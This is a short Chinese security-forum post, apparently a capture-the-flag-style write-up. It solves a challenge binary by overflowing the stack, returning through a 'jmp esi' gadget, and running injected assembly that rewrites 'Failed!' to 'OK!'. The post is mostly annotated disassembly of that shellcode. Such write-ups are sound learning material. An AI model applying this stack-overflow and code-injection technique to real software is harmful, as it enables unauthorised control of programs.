-
-
[原创]第二阶段第一题
-
发表于:
2007-8-28 15:31
7527
-
构造前8字节,可以读入13个DWORD,使堆栈溢出,使堆栈返回到4002b8。这里是一个jmp esi,可以jmp到读入的代码区.
004002B8 - FFE6 JMP ESI //jmp bc0000
00BC0000 /EB 7C JMP SHORT 00BC007E
00BC007E 8BEC MOV EBP,ESP
00BC0080 83C5 20 ADD EBP,20 //修正下EBP
00BC0083 B8 60024000 MOV EAX,400260 ; ASCII "Failed!"
00BC0088 C700 4F4B2100 MOV DWORD PTR [EAX],214B4F
00BC008E 05 27010000 ADD EAX,127
00BC0093 C600 60 MOV BYTE PTR [EAX],60
00BC0096 68 83034000 PUSH 400383
00BC009B C3 RETN
OK!
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!